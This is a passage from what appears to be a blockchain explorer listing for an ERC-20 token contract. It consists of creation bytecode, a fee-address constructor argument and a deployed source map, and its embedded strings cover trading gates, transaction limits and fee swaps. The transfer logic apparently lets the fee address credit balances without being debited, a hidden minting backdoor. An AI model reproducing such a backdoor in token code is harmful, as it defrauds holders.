085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611901565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610872816001600160a01b031660009081526001602052604090205490565b6000806108876000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ef573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610914919061191e565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561096d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec919061194c565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526004016104d5906118cc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610417338484610bf2565b6000546001600160a01b03163314610a3c5760405162461bcd60e51b81526004016104d5906118cc565b610a486012600a6118a6565b610a56906305f5e1006118b5565b600f55610a656012600a6118a6565b610a73906305f5e1006118b5565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610aad6012600a6118a6565b610abb906305f5e1006118b5565b60405190815260200160405180910390a1565b6001600160a01b038316610b305760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d5565b6001600160a01b038216610b915760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c565760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d5565b6001600160a01b038216610cb85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d5565b60008111610d1a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d5565b6001600160a01b038316600090815260046020526040812054819060ff16158015610d5e57506001600160a01b03841660009081526004602052604090205460ff16155b156110f757610d8f6064610d89600b54600e5411610d7e57600754610d82565b6009545b86906111bf565b90611248565b601454909250600160b01b900460ff168015610dae5750600d54600e54115b8015610dbb575060115483115b601454909150600160a01b900460ff16610e105760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b60448201526064016104d5565b60065460ff1615610ef5576013546001600160a01b03858116911614801590610e4757506014546001600160a01b03858116911614155b15610ef557326000908152600560205260409020544311610ee25760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104d5565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610f2057506013546001600160a01b03858116911614155b8015610f4557506001600160a01b03841660009081526004602052604090205460ff16155b1561102d57600f54831115610f9c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d5565b60105483610fbf866001600160a01b031660009081526001602052604090205490565b610fc9919061196e565b11156110175760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d5565b600e805490600061102783611981565b91905055505b6014546001600160a01b03858116911614801561105357506001600160a01b0385163014155b156110805761107d6064610d89600c54600e541161107357600854610d82565b600a5486906111bf565b91505b30600090815260016020526040902054601454600160a81b900460ff161580156110b757506014546001600160a01b038681169116145b80156110c05750815b156110f5576011548111156110ec576110ec6110e7856110e28460125461128a565b61128a565b61129f565b6110f547611419565b505b81156111715730600090815260016020526040902054611117908361145b565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111689086815260200190565b60405180910390a35b61117d858585856114ba565b505050505050565b600081848411156111a95760405162461bcd60e51b81526004016104d59190611686565b5060006111b6848661199a565b95945050505050565b6000826000036111d15750600061041b565b60006111dd83856118b5565b9050826111ea85836119ad565b146112415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d5565b9392505050565b600061124183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611616565b60008183116112995782611241565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112e7576112e76119cf565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611340573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113649190611901565b81600181518110611377576113776119cf565b6001600160a01b03928316602091820292909201015260135461139d9130911684610ace565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d69085906000908690309042906004016119e5565b600060405180830381600087803b1580156113f057600080fd5b505af1158015611404573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611457573d6000803e3d6000fd5b5050565b600080611468838561196e565b9050838110156112415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d5565b6006546000906001600160a01b0386811661010090920416146115ce576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260019091529190912054611529918590611185565b6001600160a01b03861660009081526001602052604090205561156e61154f8484611644565b6001600160a01b0386166000908152600160205260409020549061145b565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115b88686611644565b60405190815260200160405180910390a361160b565b6001600160a01b0384166000908152600160205260409020546115f1908461145b565b6001600160a01b0385166000908152600160205260409020555b506001949350505050565b600081836116375760405162461bcd60e51b81526004016104d59190611686565b5060006111b684866119ad565b600061124183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611185565b600060208083528351808285015260005b818110156116b357858101830151858201604001528201611697565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105ec57600080fd5b600080604083850312156116fc57600080fd5b8235611707816116d4565b946020939093013593505050565b60008060006060848603121561172a57600080fd5b8335611735816116d4565b92506020840135611745816116d4565b929592945050506040919091013590565b60006020828403121561176857600080fd5b8135611241816116d4565b6000806040838503121561178657600080fd5b8235611791816116d4565b915060208301356117a1816116d4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117fd5781600019048211156117e3576117e36117ac565b808516156117f057918102915b93841c93908002906117c7565b509250929050565b6000826118145750600161041b565b816118215750600061041b565b816001811461183757600281146118415761185d565b600191505061041b565b60ff841115611852576118526117ac565b50506001821b61041b565b5060208310610133831016604e8410600b8410161715611880575081810a61041b565b61188a83836117c2565b806000190482111561189e5761189e6117ac565b029392505050565b600061124160ff841683611805565b808202811582820484141761041b5761041b6117ac565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561191357600080fd5b8151611241816116d4565b60008060006060848603121561193357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195e57600080fd5b8151801515811461124157600080fd5b8082018082111561041b5761041b6117ac565b600060018201611993576119936117ac565b5060010190565b8181038181111561041b5761041b6117ac565b6000826119ca57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a355784516001600160a01b031683529383019391830191600101611a10565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec82312641b5c38ca9bf11e4073490ca633b4c5ea51b2ba88a301c6f5935ec3064736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000002c4230d121d57a7f09d64547a1bcfbf7bf7976ac
-----Decoded View---------------
Arg [0] : _fractalFeeAddr (address): 0x2c4230d121d57a7F09D64547a1BCFbF7BF7976ac
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000002c4230d121d57a7f09d64547a1bcfbf7bf7976ac
Deployed Bytecode Sourcemap
3654:8635:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5639:83;;;;;;;;;;-1:-1:-1;5709:5:0;;;;;;;;;;;;-1:-1:-1;;;5709:5:0;;;;5639:83;;;;;;;:::i;:::-;;;;;;;;6663:161;;;;;;;;;;-1:-1:-1;6663:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6663:161:0;1023:187:1;4879:50:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4879:50:0;1215:177:1;5916:95:0;;;;;;;;;;;;;:::i;6832:313::-;;;;;;;;;;-1:-1:-1;6832:313:0;;;;;:::i;:::-;;:::i;5825:83::-;;;;;;;;;;-1:-1:-1;5825:83:0;;4504:2;2000:36:1;;1988:2;1973:18;5825:83:0;1858:184:1;6146:177:0;;;;;;;;;;;;;:::i;:::-;;4987:28;;;;;;;;;;-1:-1:-1;4987:28:0;;;;-1:-1:-1;;;;;4987:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4987:28:0;2047:203:1;12101:185:0;;;;;;;;;;;;;:::i;11112:626::-;;;;;;;;;;;;;:::i;6019:119::-;;;;;;;;;;-1:-1:-1;6019:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6112:18:0;6085:7;6112:18;;;:9;:18;;;;;;;6019:119;2735:148;;;;;;;;;;;;;:::i;4694:53::-;;;;;;;;;;;;;;;;2521:79;;;;;;;;;;-1:-1:-1;2559:7:0;2586:6;-1:-1:-1;;;;;2586:6:0;2521:79;;4754:55;;;;;;;;;;;;;;;;5730:87;;;;;;;;;;-1:-1:-1;5802:7:0;;;;;;;;;;;;-1:-1:-1;;;5802:7:0;;;;5730:87;;4816:56;;;;;;;;;;;;;;;;6337:167;;;;;;;;;;-1:-1:-1;6337:167:0;;;;;:::i;:::-;;:::i;11746:203::-;;;;;;;;;;;;;:::i;4056:40::-;;;;;;;;;;-1:-1:-1;4056:40:0;;;;;;;;6512:143;;;;;;;;;;-1:-1:-1;6512:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6620:18:0;;;6593:7;6620:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6512:143;6663:161;6738:4;6755:39;356:10;6778:7;6787:6;6755:8;:39::i;:::-;-1:-1:-1;6812:4:0;6663:161;;;;;:::o;5916:95::-;5969:7;4562:13;4504:2;4562;:13;:::i;:::-;4548:27;;:11;:27;:::i;:::-;5989:14;;5916:95;:::o;6832:313::-;6930:4;6947:36;6957:6;6965:9;6976:6;6947:9;:36::i;:::-;6994:121;7003:6;356:10;7025:89;7063:6;7025:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7025:19:0;;;;;;:11;:19;;;;;;;;356:10;7025:33;;;;;;;;;;:37;:89::i;:::-;6994:8;:121::i;:::-;-1:-1:-1;7133:4:0;6832:313;;;;;:::o;6146:177::-;2648:6;;-1:-1:-1;;;;;2648:6:0;356:10;2648:22;2640:67;;;;-1:-1:-1;;;2640:67:0;;;;;;;:::i;:::-;;;;;;;;;6219:11:::1;::::0;-1:-1:-1;;;6219:11:0;::::1;;;6218:12;6210:47;;;::::0;-1:-1:-1;;;6210:47:0;;5151:2:1;6210:47:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;6210:47:0::1;4949:347:1::0;6210:47:0::1;6268:11;:18:::0;;-1:-1:-1;;;;6297:18:0;-1:-1:-1;;;6297:18:0;;;6146:177::o;12101:185::-;2648:6;;-1:-1:-1;;;;;2648:6:0;356:10;2648:22;2640:67;;;;-1:-1:-1;;;2640:67:0;;;;;;;:::i;:::-;12192:1:::1;12168:21;:25;12160:56;;;::::0;-1:-1:-1;;;12160:56:0;;5503:2:1;12160:56:0::1;::::0;::::1;5485:21:1::0;5542:2;5522:18;;;5515:30;-1:-1:-1;;;5561:18:1;;;5554:48;5619:18;;12160:56:0::1;5301:342:1::0;12160:56:0::1;12227:51;::::0;12235:10:::1;::::0;12256:21:::1;12227:51:::0;::::1;;;::::0;::::1;::::0;;;12256:21;12235:10;12227:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12101:185::o:0;11112:626::-;2648:6;;-1:-1:-1;;;;;2648:6:0;356:10;2648:22;2640:67;;;;-1:-1:-1;;;2640:67:0;;;;;;;:::i;:::-;11185:11:::1;::::0;-1:-1:-1;;;11185:11:0;::::1;;;11184:12;11176:47;;;::::0;-1:-1:-1;;;11176:47:0;;5850:2:1;11176:47:0::1;::::0;::::1;5832:21:1::0;5889:2;5869:18;;;5862:30;5928:25;5908:18;;;5901:53;5971:18;;11176:47:0::1;5648:347:1::0;11176:47:0::1;11236:15;:80:::0;;-1:-1:-1;;;;;;11236:80:0::1;11273:42;11236:80:::0;;::::1;::::0;;;11329:58:::1;::::0;11346:4:::1;::::0;4562:13:::1;4504:2;4562;:13;:::i;:::-;4548:27;::::0;:11:::1;:27;:::i;11329:58::-;11432:15;;;;;;;;;-1:-1:-1::0;;;;;11432:15:0::1;-1:-1:-1::0;;;;;11432:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11414:55:0::1;;11478:4;11485:15;;;;;;;;;-1:-1:-1::0;;;;;11485:15:0::1;-1:-1:-1::0;;;;;11485:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11414:94;::::0;-1:-1:-1;;;;;;11414:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6486:15:1;;;11414:94:0::1;::::0;::::1;6468:34:1::0;6538:15;;6518:18;;;6511:43;6403:18;;11414:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11398:13;:110:::0;;-1:-1:-1;;;;;11398:110:0;;::::1;-1:-1:-1::0;;;;;;11398:110:0;;::::1;;::::0;;11519:15:::1;::::0;::::1;:31;11558:21;11589:4;11595:24;11589:4:::0;-1:-1:-1;;;;;6112:18:0;6085:7;6112:18;;;:9;:18;;;;;;;6019:119;11595:24:::1;11620:1;11622::::0;11624:7:::1;2559::::0;2586:6;-1:-1:-1;;;;;2586:6:0;;2521:79;11624:7:::1;11519:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11519:129:0;;;-1:-1:-1;;;;;6924:15:1;;;11519:129:0::1;::::0;::::1;6906:34:1::0;6956:18;;;6949:34;;;;6999:18;;;6992:34;;;;7042:18;;;7035:34;7106:15;;;7085:19;;;7078:44;11632:15:0::1;7138:19:1::0;;;7131:35;6840:19;;11519:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11666:13:0::1;::::0;11697:15:::1;::::0;11659:71:::1;::::0;-1:-1:-1;;;11659:71:0;;-1:-1:-1;;;;;11697:15:0;;::::1;11659:71;::::0;::::1;7662:51:1::0;-1:-1:-1;;7729:18:1;;;7722:34;11666:13:0;::::1;::::0;-1:-1:-1;11659:29:0::1;::::0;7635:18:1;;11659:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2735:148::-:0;2648:6;;-1:-1:-1;;;;;2648:6:0;356:10;2648:22;2640:67;;;;-1:-1:-1;;;2640:67:0;;;;;;;:::i;:::-;2842:1:::1;2826:6:::0;;2805:40:::1;::::0;-1:-1:-1;;;;;2826:6:0;;::::1;::::0;2805:40:::1;::::0;2842:1;;2805:40:::1;2873:1;2856:19:::0;;-1:-1:-1;;;;;;2856:19:0::1;::::0;;2735:148::o;6337:167::-;6415:4;6432:42;356:10;6456:9;6467:6;6432:9;:42::i;11746:203::-;2648:6;;-1:-1:-1;;;;;2648:6:0;356:10;2648:22;2640:67;;;;-1:-1:-1;;;2640:67:0;;;;;;;:::i;:::-;4562:13:::1;4504:2;4562;:13;:::i;:::-;4548:27;::::0;:11:::1;:27;:::i;:::-;11806:12;:22:::0;4562:13:::1;4504:2;4562;:13;:::i;:::-;4548:27;::::0;:11:::1;:27;:::i;:::-;11839:14;:22:::0;11872:20:::1;:26:::0;;-1:-1:-1;;11872:26:0::1;::::0;;11914:27:::1;4562:13;4504:2;-1:-1:-1::0;4562:13:0::1;:::i;:::-;4548:27;::::0;:11:::1;:27;:::i;:::-;11914;::::0;1361:25:1;;;1349:2;1334:18;11914:27:0::1;;;;;;;11746:203::o:0;7153:335::-;-1:-1:-1;;;;;7246:19:0;;7238:68;;;;-1:-1:-1;;;7238:68:0;;8251:2:1;7238:68:0;;;8233:21:1;8290:2;8270:18;;;8263:30;8329:34;8309:18;;;8302:62;-1:-1:-1;;;8380:18:1;;;8373:34;8424:19;;7238:68:0;8049:400:1;7238:68:0;-1:-1:-1;;;;;7325:21:0;;7317:68;;;;-1:-1:-1;;;7317:68:0;;8656:2:1;7317:68:0;;;8638:21:1;8695:2;8675:18;;;8668:30;8734:34;8714:18;;;8707:62;-1:-1:-1;;;8785:18:1;;;8778:32;8827:19;;7317:68:0;8454:398:1;7317:68:0;-1:-1:-1;;;;;7396:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7448:32;;1361:25:1;;;7448:32:0;;1334:18:1;7448:32:0;;;;;;;7153:335;;;:::o;7496:2408::-;-1:-1:-1;;;;;7584:18:0;;7576:68;;;;-1:-1:-1;;;7576:68:0;;9059:2:1;7576:68:0;;;9041:21:1;9098:2;9078:18;;;9071:30;9137:34;9117:18;;;9110:62;-1:-1:-1;;;9188:18:1;;;9181:35;9233:19;;7576:68:0;8857:401:1;7576:68:0;-1:-1:-1;;;;;7663:16:0;;7655:64;;;;-1:-1:-1;;;7655:64:0;;9465:2:1;7655:64:0;;;9447:21:1;9504:2;9484:18;;;9477:30;9543:34;9523:18;;;9516:62;-1:-1:-1;;;9594:18:1;;;9587:33;9637:19;;7655:64:0;9263:399:1;7655:64:0;7747:1;7738:6;:10;7730:64;;;;-1:-1:-1;;;7730:64:0;;9869:2:1;7730:64:0;;;9851:21:1;9908:2;9888:18;;;9881:30;9947:34;9927:18;;;9920:62;-1:-1:-1;;;9998:18:1;;;9991:39;10047:19;;7730:64:0;9667:405:1;7730:64:0;-1:-1:-1;;;;;7895:24:0;;7807;7895;;;:18;:24;;;;;;7807;;7895;;7894:25;:52;;;;-1:-1:-1;;;;;;7924:22:0;;;;;;:18;:22;;;;;;;;7923:23;7894:52;7890:1749;;;7994:76;8066:3;7994:67;8016:15;;8006:9;;:25;8005:55;;8046:14;;8005:55;;;8033:12;;8005:55;7994:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8108:11;;7975:95;;-1:-1:-1;;;;8108:11:0;;;;:43;;;;;8133:18;;8123:9;;:28;8108:43;:76;;;;;8164:20;;8155:6;:29;8108:76;8209:11;;8085:99;;-1:-1:-1;;;;8209:11:0;;;;8201:46;;;;-1:-1:-1;;;8201:46:0;;10279:2:1;8201:46:0;;;10261:21:1;10318:2;10298:18;;;10291:30;-1:-1:-1;;;10337:18:1;;;10330:52;10399:18;;8201:46:0;10077:346:1;8201:46:0;8268:20;;;;8264:490;;;8327:15;;-1:-1:-1;;;;;8313:30:0;;;8327:15;;8313:30;;;;:62;;-1:-1:-1;8361:13:0;;-1:-1:-1;;;;;8347:28:0;;;8361:13;;8347:28;;8313:62;8309:430;;;8463:9;8434:39;;;;:28;:39;;;;;;8505:12;-1:-1:-1;8400:242:0;;;;-1:-1:-1;;;8400:242:0;;10630:2:1;8400:242:0;;;10612:21:1;10669:2;10649:18;;;10642:30;10708:34;10688:18;;;10681:62;10779:34;10759:18;;;10752:62;-1:-1:-1;;;10830:19:1;;;10823:40;10880:19;;8400:242:0;10428:477:1;8400:242:0;8694:9;8665:39;;;;:28;:39;;;;;8707:12;8665:54;;8309:430;8782:13;;-1:-1:-1;;;;;8774:21:0;;;8782:13;;8774:21;:55;;;;-1:-1:-1;8813:15:0;;-1:-1:-1;;;;;8799:30:0;;;8813:15;;8799:30;;8774:55;:83;;;;-1:-1:-1;;;;;;8835:22:0;;;;;;:18;:22;;;;;;;;8833:24;8774:83;8770:313;;;8897:12;;8887:6;:22;;8879:60;;;;-1:-1:-1;;;8879:60:0;;11112:2:1;8879:60:0;;;11094:21:1;11151:2;11131:18;;;11124:30;11190:27;11170:18;;;11163:55;11235:18;;8879:60:0;10910:349:1;8879:60:0;8992:14;;8982:6;8966:13;8976:2;-1:-1:-1;;;;;6112:18:0;6085:7;6112:18;;;:9;:18;;;;;;;6019:119;8966:13;:22;;;;:::i;:::-;:40;;8958:79;;;;-1:-1:-1;;;8958:79:0;;11596:2:1;8958:79:0;;;11578:21:1;11635:2;11615:18;;;11608:30;11674:28;11654:18;;;11647:56;11720:18;;8958:79:0;11394:350:1;8958:79:0;9056:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8770:313;9108:13;;-1:-1:-1;;;;;9102:19:0;;;9108:13;;9102:19;:43;;;;-1:-1:-1;;;;;;9125:20:0;;9140:4;9125:20;;9102:43;9099:181;;;9185:79;9260:3;9185:70;9207:16;;9197:9;;:26;9196:58;;9239:15;;9196:58;;;9225:13;;9185:6;;:10;:70::i;:79::-;9166:98;;9099:181;9345:4;9296:28;6112:18;;;:9;:18;;;;;;9371:6;;-1:-1:-1;;;9371:6:0;;;;9370:7;:30;;;;-1:-1:-1;9387:13:0;;-1:-1:-1;;;;;9381:19:0;;;9387:13;;9381:19;9370:30;:54;;;;;9404:20;9370:54;9366:262;;;9469:20;;9448;:41;9445:113;;;9491:67;9508:49;9512:6;9519:37;9523:20;9544:11;;9519:3;:37::i;:::-;9508:3;:49::i;:::-;9491:16;:67::i;:::-;9577:35;9590:21;9577:12;:35::i;:::-;7948:1691;7890:1749;9654:18;;9651:182;;9729:4;9711:24;;;;:9;:24;;;;;;:46;;9740:16;9711:28;:46::i;:::-;9704:4;9686:24;;;;:9;:24;;;;;;;:71;;;;9775:46;;-1:-1:-1;;;;;9775:46:0;;;;;;;9804:16;1361:25:1;;1349:2;1334:18;;1215:177;9775:46:0;;;;;;;;9651:182;9845:51;9861:4;9867:2;9871:6;9879:16;9845:15;:51::i;:::-;;7565:2339;;7496:2408;;;:::o;1413:190::-;1499:7;1535:12;1527:6;;;;1519:29;;;;-1:-1:-1;;;1519:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1559:9:0;1571:5;1575:1;1571;:5;:::i;:::-;1559:17;1413:190;-1:-1:-1;;;;;1413:190:0:o;1611:246::-;1669:7;1693:1;1698;1693:6;1689:47;;-1:-1:-1;1723:1:0;1716:8;;1689:47;1746:9;1758:5;1762:1;1758;:5;:::i;:::-;1746:17;-1:-1:-1;1791:1:0;1782:5;1786:1;1746:17;1782:5;:::i;:::-;:10;1774:56;;;;-1:-1:-1;;;1774:56:0;;12446:2:1;1774:56:0;;;12428:21:1;12485:2;12465:18;;;12458:30;12524:34;12504:18;;;12497:62;-1:-1:-1;;;12575:18:1;;;12568:31;12616:19;;1774:56:0;12244:397:1;1774:56:0;1848:1;1611:246;-1:-1:-1;;;1611:246:0:o;1865:132::-;1923:7;1950:39;1954:1;1957;1950:39;;;;;;;;;;;;;;;;;:3;:39::i;10505:98::-;10562:7;10589:1;10587;:3;10586:9;;10594:1;10586:9;;;-1:-1:-1;10592:1:0;10505:98;-1:-1:-1;10505:98:0:o;10611:483::-;5210:6;:13;;-1:-1:-1;;;;5210:13:0;-1:-1:-1;;;5210:13:0;;;10713:16:::1;::::0;;10727:1:::1;10713:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10713:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10713:16:0::1;10689:40;;10758:4;10740;10745:1;10740:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10740:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10784:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10784:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10740:7;;10784:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10774:4;10779:1;10774:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10774:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10849:15:::1;::::0;10817:62:::1;::::0;10834:4:::1;::::0;10849:15:::1;10867:11:::0;10817:8:::1;:62::i;:::-;10890:15;::::0;:196:::1;::::0;-1:-1:-1;;;10890:196:0;;-1:-1:-1;;;;;10890:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10971:11;;10890:15:::1;::::0;11013:4;;11040::::1;::::0;11060:15:::1;::::0;10890:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5246:6:0;:14;;-1:-1:-1;;;;5246:14:0;;;-1:-1:-1;;;;10611:483:0:o;11957:98::-;12014:16;;:33;;:16;;;;-1:-1:-1;;;;;12014:16:0;;:33;;;;;;;;;;;;:16;:33;;;;;;;;;;;;;;;;;;;;;11957:98;:::o;1082:179::-;1140:7;;1172:5;1176:1;1172;:5;:::i;:::-;1160:17;;1201:1;1196;:6;;1188:46;;;;-1:-1:-1;;;1188:46:0;;14097:2:1;1188:46:0;;;14079:21:1;14136:2;14116:18;;;14109:30;14175:29;14155:18;;;14148:57;14222:18;;1188:46:0;13895:351:1;9912:585:0;10087:16;;10059:4;;-1:-1:-1;;;;;10079:24:0;;;10087:16;;;;;10079:24;10076:390;;10138:100;;;;;;;;;;;-1:-1:-1;;;10138:100:0;;;;;;;;-1:-1:-1;;;;;10138:15:0;;-1:-1:-1;10138:15:0;;;:9;:15;;;;;;;;:100;;10176:6;;10138:19;:100::i;:::-;-1:-1:-1;;;;;10120:15:0;;;;;;:9;:15;;;;;:118;10269:40;10287:21;:6;10298:9;10287:10;:21::i;:::-;-1:-1:-1;;;;;10269:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10255:13:0;;;;;;;:9;:13;;;;;:54;;;;10329:41;;;10348:21;:6;10359:9;10348:10;:21::i;:::-;10329:41;;1361:25:1;;;1349:2;1334:18;10329:41:0;;;;;;;10076:390;;;-1:-1:-1;;;;;10429:13:0;;;;;;:9;:13;;;;;;:25;;10447:6;10429:17;:25::i;:::-;-1:-1:-1;;;;;10415:13:0;;;;;;:9;:13;;;;;:39;10076:390;-1:-1:-1;10485:4:0;9912:585;;;;;;:::o;2005:189::-;2091:7;2126:12;2119:5;2111:28;;;;-1:-1:-1;;;2111:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2150:9:0;2162:5;2166:1;2162;:5;:::i;1269:136::-;1327:7;1354:43;1358:1;1361;1354:43;;;;;;;;;;;;;;;;;:3;:43::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5